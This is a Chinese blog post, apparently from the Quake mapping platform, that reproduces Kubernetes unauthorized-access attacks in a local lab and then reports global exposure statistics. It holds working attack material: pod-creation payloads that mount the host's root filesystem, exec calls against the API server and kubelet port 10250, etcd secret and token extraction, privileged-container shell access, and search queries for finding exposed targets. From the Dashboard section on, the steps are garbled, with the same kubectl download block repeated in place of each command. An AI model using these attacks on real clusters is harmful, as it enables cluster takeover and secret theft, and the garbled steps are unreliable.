1 前言
随着Kubernetes在全球的使用越来越广泛的同时,有越来越多的Kubernetes 被检测到暴露在互联网上,一些不当的配置导致其被恶意攻击,例如:Kubernetes集群的Pod被劫持以挖掘加密货币。下文主要学习并复现k8s中的部分安全问题,并在资产测绘中观察Kubernetes资产的暴露情况。文中如有错误的地方,还望各位师傅指正。
2 环境搭建
k8s组件简要了解
一个Kubernetes集群由控制节点 master和工作节点 node 构成的,集群方式也分为一主多从和多主多从。K8s组件构成如下图所示
环境搭建
使用kind(Kubernetes In Docker)来搭建本次环境
curl -Lo ./kind https://kind.sigs.k8s.io/dl/v0.11.1/kind-$(uname)-amd64
chmod +x ./kind
mv ./kind /some-dir-in-your-PATH/kind
键入kind version可以看到,安装成功
安装Kubectl
curl -LO https://storage.googleapis.com/kubernetes-release/release/v1.21.2/bin/linux/amd64/kubectl
chmod +x ./kubectl
mv ./kubectl /usr/local/bin/kubectl
通过指定配置文件来创建一个新的集群:
kind: Cluster
apiVersion: kind.x-k8s.io/v1alpha4
name: k8s #集群名
nodes: #节点配置
- role: control-plane #master节点
image: kindest/node:v1.21.1 #指定镜像,同 kind create cluster参数--image
extraPortMappings:
- containerPort: 6443
hostPort: 26443
listenAddress: "0.0.0.0"
protocol: tcp #默认值,可不设置
- role: worker
将其保存为k8s.yaml,然后通过--config参数来指定:
键入docker ps 可以看到如下图,创建成功:
3 漏洞复现
Kubernetes Api Server 未授权访问漏洞
Kubernetes API Server提供HTTP的两个默认端口:8080、6443。insecure-port:默认端口8080,secure-port:默认端口6443。如下图所示:
访问https://192.168.146.129:26443/api/v1/namespaces/default/pods并发送如下数据来创建新的容器
{"apiVersion":"v1","kind":"Pod","metadata":{"annotations":{"kubectl.kubernetes.io/last-applied-configuration":"{"apiVersion":"v1","kind":"Pod","metadata":{"annotations":{},"name":"test-2","namespace":"default"},"spec":{"containers":[{"image":"nginx:1.14.2","name":"test-2","volumeMounts":[{"mountPath":"/host","name":"host"}]}],"volumes":[{"hostPath":{"path":"/","type":"Directory"},"name":"host"}]}}n"},"name":"test-2","namespace":"default"},"spec":{"containers":[{"image":"nginx:1.14.2","name":"test-2","volumeMounts":[{"mountPath":"/host","name":"host"}]}],"volumes":[{"hostPath":{"path":"/","type":"Directory"},"name":"host"}]}}
访问创建的容器发现报错问题如下:
kubectl get pods -o wide查看,发现创建的pod,没有分配给节点:
将pod调度到指定nodes上运行,如下图所示:
即访问https://192.168.146.129:26443/api/v1/namespaces/default/pods,重新发送如下数据(数据中新增nodeName:k8s-worker来指定节点)
{"apiVersion":"v1","kind":"Pod","metadata":{"annotations":{"kubectl.kubernetes.io/last-applied-configuration":"{"apiVersion":"v1","kind":"Pod","metadata":{"annotations":{},"name":"test-4","namespace":"default"},"spec":{"nodeName":"k8s-worker","containers":[{"image":"nginx:1.14.2","name":"test-4","volumeMounts":[{"mountPath":"/host","name":"host"}]}],"volumes":[{"hostPath":{"path":"/","type":"Directory"},"name":"host"}]}}n"},"name":"test-4","namespace":"default"},"spec":{"nodeName":"k8s-worker","containers":[{"image":"nginx:1.14.2","name":"test-4","volumeMounts":[{"mountPath":"/host","name":"host"}]}],"volumes":[{"hostPath":{"path":"/","type":"Directory"},"name":"host"}]}}
命令执行
wscat -n -c https://ip:port/api/v1/namespaces/default/pods/test-4/exec?stdout=1&stderr=1&tty=true&command=whoami
Quake搜索语法:port:"6443" and response:"apis"
脚本扫描(本地环境)
Kubelet 10250端口未授权访问
Kubelet的10250是kubelet server 与 Api Server 通信的端口,其提供了pod和node的信息。如果kubelet的10250端口对外暴露,会导致敏感信息。
找到并修改config.yaml配置文件,将false改为true
重启docker服务。 访问https://172.19.0.2:10250/pods,如下图所示:
执行如下命令
curl -k https://172.19.0.2:10250/run/{namespace}/{podName}/{appName} -d "cmd=whoami
curl –insecure -v -H “X-Stream-Protocol-Version: v2.channel.k8s.io” -H “X-Stream-Protocol-Version: channel.k8s.io” -X POST “https://IP:10250/exec/namespace/podID/containername?command=touch&command=/tmp/test&input=1&output=1&tty=1"
上述三个参数在pods页面中选对应参数带入,即可执行对应命令。
Etcd未授权访问
Etcd用于保存集群所有的网络配置和对象的状态信息。当Kubernetes etcd数据库未设置访问控制权限,Rest Api可获取集群内token、证书、账户密码等敏感信息。,如下图所示:
找到etcd.yaml文件位置,将2379端口向外暴露。
查看K8s secrets
etcdctl get / --prefix --keys-only | grep /secrets/
读取service account token
etcdctl get / --prefix --keys-only | grep /secrets/kube-system/clusterrole
通过token认证访问API-Server,接管集群
kubectl --insecure-skip-tls-verify -s https://127.0.0.1:6443/ --token="[ey...]" -n kube-system get pods
Dashboard未授权访问
下载yaml文件并安装
curl -LO https://storage.googleapis.com/kubernetes-release/release/v1.21.2/bin/linux/amd64/kubectl
chmod +x ./kubectl
mv ./kubectl /usr/local/bin/kubectl
0
可使用 kubectl 命令行工具访问 Dashboar
curl -LO https://storage.googleapis.com/kubernetes-release/release/v1.21.2/bin/linux/amd64/kubectl
chmod +x ./kubectl
mv ./kubectl /usr/local/bin/kubectl
1
将type: ClusterIP改为type: NodePort
curl -LO https://storage.googleapis.com/kubernetes-release/release/v1.21.2/bin/linux/amd64/kubectl
chmod +x ./kubectl
mv ./kubectl /usr/local/bin/kubectl
2
生成token
新建目录:mkdir key && cd key 生成证书:
curl -LO https://storage.googleapis.com/kubernetes-release/release/v1.21.2/bin/linux/amd64/kubectl
chmod +x ./kubectl
mv ./kubectl /usr/local/bin/kubectl
3
删除原有的证书secret
curl -LO https://storage.googleapis.com/kubernetes-release/release/v1.21.2/bin/linux/amd64/kubectl
chmod +x ./kubectl
mv ./kubectl /usr/local/bin/kubectl
4
创建新的证书secret
curl -LO https://storage.googleapis.com/kubernetes-release/release/v1.21.2/bin/linux/amd64/kubectl
chmod +x ./kubectl
mv ./kubectl /usr/local/bin/kubectl
5
查看pod
curl -LO https://storage.googleapis.com/kubernetes-release/release/v1.21.2/bin/linux/amd64/kubectl
chmod +x ./kubectl
mv ./kubectl /usr/local/bin/kubectl
6
重启pod
curl -LO https://storage.googleapis.com/kubernetes-release/release/v1.21.2/bin/linux/amd64/kubectl
chmod +x ./kubectl
mv ./kubectl /usr/local/bin/kubectl
7
生成token如下 带入token进行登录 获取访问后直接创建特权容器即可getshell 查看当前容器是否为特权容器: 挂载宿主机目录,读取文件(还有其他方法,例如:通过notify_on_release实现容器逃逸) Quake搜索语法:title:"Kubernetes Dashboard"
Kubectl Proxy不安全使用
设置API server接收所有主机的请求
curl -LO https://storage.googleapis.com/kubernetes-release/release/v1.21.2/bin/linux/amd64/kubectl
chmod +x ./kubectl
mv ./kubectl /usr/local/bin/kubectl
8
通过端口访问k8s集群
curl -LO https://storage.googleapis.com/kubernetes-release/release/v1.21.2/bin/linux/amd64/kubectl
chmod +x ./kubectl
mv ./kubectl /usr/local/bin/kubectl
9
k8s指纹
app:"Google_kubernetes"
k8s全球生态情况
随着云时代的到来,k8s作为Google开源的一个容器编排工具,在全球范围内被许多厂商投入生产使用。在各个行业中,从小型创业公司到财富500强公司都能看到k8s的身影。通过对全球网络通用端口进行端口扫描,配合Quake自身实现的Web指纹识别。可以了解到全球网络中k8s的分布情况。以下是Quake平台针对全球k8s情况的分析。
全球各个国家k8s分布情况 世界地图 全球top10国家k8s分布情况 饼状图
根据Quake平台数据显示,截至2022年1月底,全球共有56个国家或地区共129,033个站点使用K8s。K8s使用量主要集中在发达国家中,其中美国位居第一,共有66,132个,占比55.41%;爱尔兰位列第二,共有14308个,占比12%;德国位列第三,共有13657个,占比11.45%;中国有6667个,占比5.59%。(上述图表数据占比为top10占比)。
总结:
从quake对k8s的测绘可以看出,k8s用户量不少,是全球许多公司使用的容器编排系统。随之而来的问题是有许多存在风险的Kubernetes暴露在互联网上,有许多用户在没有身份验证的情况下公开了自己的Kubernetes API,导致Kubernetes集群的Pod被劫持以挖掘加密货币等事件时有发生。运维人员在做相关配置时应该注意这些。
《欢迎进群》
添加管理员微信号:quake_360
备注:进群 邀请您加入 QUAKE交流群~
推荐站内搜索:最好用的开发软件、免费开源系统、渗透测试工具云盘下载、最新渗透测试资料、最新黑客工具下载……
还没有评论,来说两句吧...